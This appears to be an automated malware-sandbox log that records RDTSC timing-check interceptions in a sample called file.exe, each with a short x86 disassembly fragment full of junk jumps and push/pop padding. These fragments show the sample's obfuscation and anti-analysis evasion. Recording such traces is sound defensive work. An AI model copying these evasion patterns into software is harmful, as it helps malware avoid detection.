Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA01C4 second address: 4BA022F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FD4D8B12EC0h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov di, 19A4h 0x00000015 call 00007FD4D8B12EBDh 0x0000001a pushfd 0x0000001b jmp 00007FD4D8B12EC0h 0x00000020 add si, 7058h 0x00000025 jmp 00007FD4D8B12EBBh 0x0000002a popfd 0x0000002b pop ecx 0x0000002c popad 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FD4D8B12EC2h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA022F second address: 4BA0250 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 16700A64h 0x00000008 jmp 00007FD4D8F4559Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 sub esp, 18h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0250 second address: 4BA0254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0254 second address: 4BA025A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA025A second address: 4BA0260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0260 second address: 4BA026F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA026F second address: 4BA0284 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0284 second address: 4BA02A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4D8F4559Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA02A8 second address: 4BA02EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov ecx, edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d push edx 0x0000000e mov cx, AA87h 0x00000012 pop esi 0x00000013 pushfd 0x00000014 jmp 00007FD4D8B12EBDh 0x00000019 jmp 00007FD4D8B12EBBh 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov bh, 34h 0x00000026 call 00007FD4D8B12EBCh 0x0000002b pop eax 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA02EA second address: 4BA034D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4D8F4559Eh 0x00000009 add ecx, 01713DC8h 0x0000000f jmp 00007FD4D8F4559Bh 0x00000014 popfd 0x00000015 mov di, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FD4D8F4559Bh 0x00000023 adc ah, 0000000Eh 0x00000026 jmp 00007FD4D8F455A9h 0x0000002b popfd 0x0000002c movzx esi, di 0x0000002f popad 0x00000030 xchg eax, esi 0x00000031 pushad 0x00000032 popad 0x00000033 push esp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA034D second address: 4BA0351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0351 second address: 4BA0357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0357 second address: 4BA03B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ecx, 0AFC9BCDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], edi 0x00000010 jmp 00007FD4D8B12EC8h 0x00000015 mov eax, dword ptr [75AB4538h] 0x0000001a jmp 00007FD4D8B12EC0h 0x0000001f xor dword ptr [ebp-08h], eax 0x00000022 jmp 00007FD4D8B12EC0h 0x00000027 xor eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD4D8B12EBCh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03B7 second address: 4BA03F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4D8F455A1h 0x00000009 jmp 00007FD4D8F4559Bh 0x0000000e popfd 0x0000000f mov edx, ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD4D8F455A1h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03F1 second address: 4BA0472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4D8B12EC7h 0x00000008 pop eax 0x00000009 mov ebx, 49C5B6ACh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007FD4D8B12EC2h 0x00000017 nop 0x00000018 pushad 0x00000019 mov ebx, esi 0x0000001b call 00007FD4D8B12EBAh 0x00000020 pushfd 0x00000021 jmp 00007FD4D8B12EC2h 0x00000026 sub si, 1328h 0x0000002b jmp 00007FD4D8B12EBBh 0x00000030 popfd 0x00000031 pop esi 0x00000032 popad 0x00000033 lea eax, dword ptr [ebp-10h] 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FD4D8B12EC2h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0472 second address: 4BA0478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0478 second address: 4BA047C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA047C second address: 4BA04A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 pushad 0x00000012 push esi 0x00000013 mov ah, dl 0x00000015 pop esi 0x00000016 movsx edi, cx 0x00000019 popad 0x0000001a mov dword ptr [ebp-18h], esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA04A7 second address: 4BA04AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA04AB second address: 4BA04C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA04C4 second address: 4BA04CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA04CA second address: 4BA04CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA04CE second address: 4BA0505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000018h] 0x0000000e jmp 00007FD4D8B12EBFh 0x00000013 mov ecx, dword ptr [eax+00000FDCh] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD4D8B12EC0h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0505 second address: 4BA0514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B901D4 second address: 4B90212 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007FD4D8B12EBEh 0x00000011 xchg eax, ebx 0x00000012 jmp 00007FD4D8B12EC0h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90212 second address: 4B9022E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9022E second address: 4B90297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 pushfd 0x00000007 jmp 00007FD4D8B12EBDh 0x0000000c sub ah, 00000046h 0x0000000f jmp 00007FD4D8B12EC1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebx 0x00000019 jmp 00007FD4D8B12EBEh 0x0000001e xchg eax, edi 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushfd 0x00000023 jmp 00007FD4D8B12EC8h 0x00000028 and cx, 8348h 0x0000002d jmp 00007FD4D8B12EBBh 0x00000032 popfd 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902E1 second address: 4B902FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902FE second address: 4B90307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 9D62h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90307 second address: 4B90315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 inc ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90315 second address: 4B90325 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90325 second address: 4B9035A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FD4D8F4559Dh 0x0000000b sbb ax, 7DE6h 0x00000010 jmp 00007FD4D8F455A1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test al, al 0x0000001b pushad 0x0000001c mov ebx, esi 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9035A second address: 4B903AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 je 00007FD4D8B1309Eh 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007FD4D8B12EBDh 0x00000013 pop esi 0x00000014 jmp 00007FD4D8B12EC1h 0x00000019 popad 0x0000001a lea ecx, dword ptr [ebp-14h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 call 00007FD4D8B12EC9h 0x00000027 pop esi 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B903AB second address: 4B903B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B903B1 second address: 4B903B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90479 second address: 4B9047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9047F second address: 4B90483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90483 second address: 4B90507 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a jmp 00007FD4D8F4559Bh 0x0000000f jg 00007FD549E1358Ah 0x00000015 jmp 00007FD4D8F455A6h 0x0000001a js 00007FD4D8F4562Ah 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FD4D8F4559Dh 0x00000029 xor eax, 63280BA6h 0x0000002f jmp 00007FD4D8F455A1h 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007FD4D8F455A0h 0x0000003b sbb eax, 6B242948h 0x00000041 jmp 00007FD4D8F4559Bh 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90507 second address: 4B9053F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov dh, cl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e pushad 0x0000000f push edx 0x00000010 mov di, si 0x00000013 pop ecx 0x00000014 mov edx, 24AA1A54h 0x00000019 popad 0x0000001a jne 00007FD5499E0E30h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FD4D8B12EC6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9053F second address: 4B90583 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007FD4D8F455A6h 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD4D8F455A7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90583 second address: 4B905F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov dx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d jmp 00007FD4D8B12EBAh 0x00000012 push eax 0x00000013 jmp 00007FD4D8B12EBBh 0x00000018 xchg eax, esi 0x00000019 jmp 00007FD4D8B12EC6h 0x0000001e nop 0x0000001f jmp 00007FD4D8B12EC0h 0x00000024 push eax 0x00000025 jmp 00007FD4D8B12EBBh 0x0000002a nop 0x0000002b pushad 0x0000002c mov eax, 7F9A811Bh 0x00000031 movzx eax, di 0x00000034 popad 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FD4D8B12EBFh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B905F7 second address: 4B90626 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD4D8F4559Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906BD second address: 4B906FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 pushfd 0x00000007 jmp 00007FD4D8B12EC0h 0x0000000c sbb eax, 3DE8A828h 0x00000012 jmp 00007FD4D8B12EBBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test esi, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD4D8B12EC0h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906FF second address: 4B90705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90705 second address: 4B80D97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD5499E0DF4h 0x0000000f xor eax, eax 0x00000011 jmp 00007FD4D8AEC5EAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007FD4D8B12EB7h 0x0000002b jmp 00007FD4D8B1302Bh 0x00000030 call 00007FD4DD28CEBBh 0x00000035 mov edi, edi 0x00000037 jmp 00007FD4D8B12EBFh 0x0000003c xchg eax, ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov di, 0F26h 0x00000044 jmp 00007FD4D8B12EC7h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80D97 second address: 4B80DC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4D8F4559Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80DC3 second address: 4B80E2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 pushfd 0x00000007 jmp 00007FD4D8B12EBDh 0x0000000c sbb ax, 0096h 0x00000011 jmp 00007FD4D8B12EC1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FD4D8B12EC3h 0x00000024 and cl, FFFFFFCEh 0x00000027 jmp 00007FD4D8B12EC9h 0x0000002c popfd 0x0000002d mov bx, si 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80E2A second address: 4B80E62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD4D8F4559Ch 0x00000012 add ecx, 37201578h 0x00000018 jmp 00007FD4D8F4559Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 movzx eax, dx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80E62 second address: 4B80E9B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD4D8B12EBBh 0x00000008 add eax, 05C4AD3Eh 0x0000000e jmp 00007FD4D8B12EC9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b mov ax, D8D9h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80E9B second address: 4B80ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, FAh 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FD4D8F4559Dh 0x0000000e popad 0x0000000f xchg eax, ecx 0x00000010 jmp 00007FD4D8F4559Dh 0x00000015 mov dword ptr [ebp-04h], 55534552h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ebx, 1BF52CAEh 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80ED2 second address: 4B80ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80F0A second address: 4B90AD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b and bl, 00000001h 0x0000000e movzx eax, bl 0x00000011 lea esp, dword ptr [ebp-0Ch] 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pop ebp 0x00000018 ret 0x00000019 add esp, 04h 0x0000001c jmp dword ptr [0041A41Ch+ebx*4] 0x00000023 push edi 0x00000024 call 00007FD4D8F6AF97h 0x00000029 push ebp 0x0000002a push ebx 0x0000002b push edi 0x0000002c push esi 0x0000002d sub esp, 000001D0h 0x00000033 mov dword ptr [esp+000001B4h], 0041CB10h 0x0000003e mov dword ptr [esp+000001B0h], 000000D0h 0x00000049 mov dword ptr [esp], 00000000h 0x00000050 mov eax, dword ptr [004181DCh] 0x00000055 call eax 0x00000057 mov edi, edi 0x00000059 pushad 0x0000005a pushad 0x0000005b mov bx, cx 0x0000005e mov ebx, ecx 0x00000060 popad 0x00000061 popad 0x00000062 xchg eax, ebp 0x00000063 jmp 00007FD4D8F4559Ah 0x00000068 push eax 0x00000069 jmp 00007FD4D8F4559Bh 0x0000006e xchg eax, ebp 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AD3 second address: 4B90AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AD7 second address: 4B90AF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AF2 second address: 4B90B46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007FD4D8B12EC9h 0x00000014 or eax, 7C2C1416h 0x0000001a jmp 00007FD4D8B12EC1h 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90B46 second address: 4B90B6B instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 cmp dword ptr [75AB459Ch], 05h 0x0000000f jmp 00007FD4D8F4559Ah 0x00000014 je 00007FD549E03436h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push edx 0x0000001e pop esi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90B6B second address: 4B90B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4D8B12EBBh 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90B7C second address: 4B90B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4D8F455A7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90B9F second address: 4B90BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90BA3 second address: 4B90BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C2C second address: 4B90C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C32 second address: 4B90C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C36 second address: 4B90C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 04E5C43Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD4D8B12EC9h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C62 second address: 4B90C77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C77 second address: 4B90C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8B12EBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C87 second address: 4B90C8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90D0F second address: 4B90D2D instructions: 0x00000000 rdtsc 0x00000002 mov esi, 491F712Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov bx, si 0x0000000c popad 0x0000000d test al, al 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD4D8B12EBDh 0x00000016 rdtsc
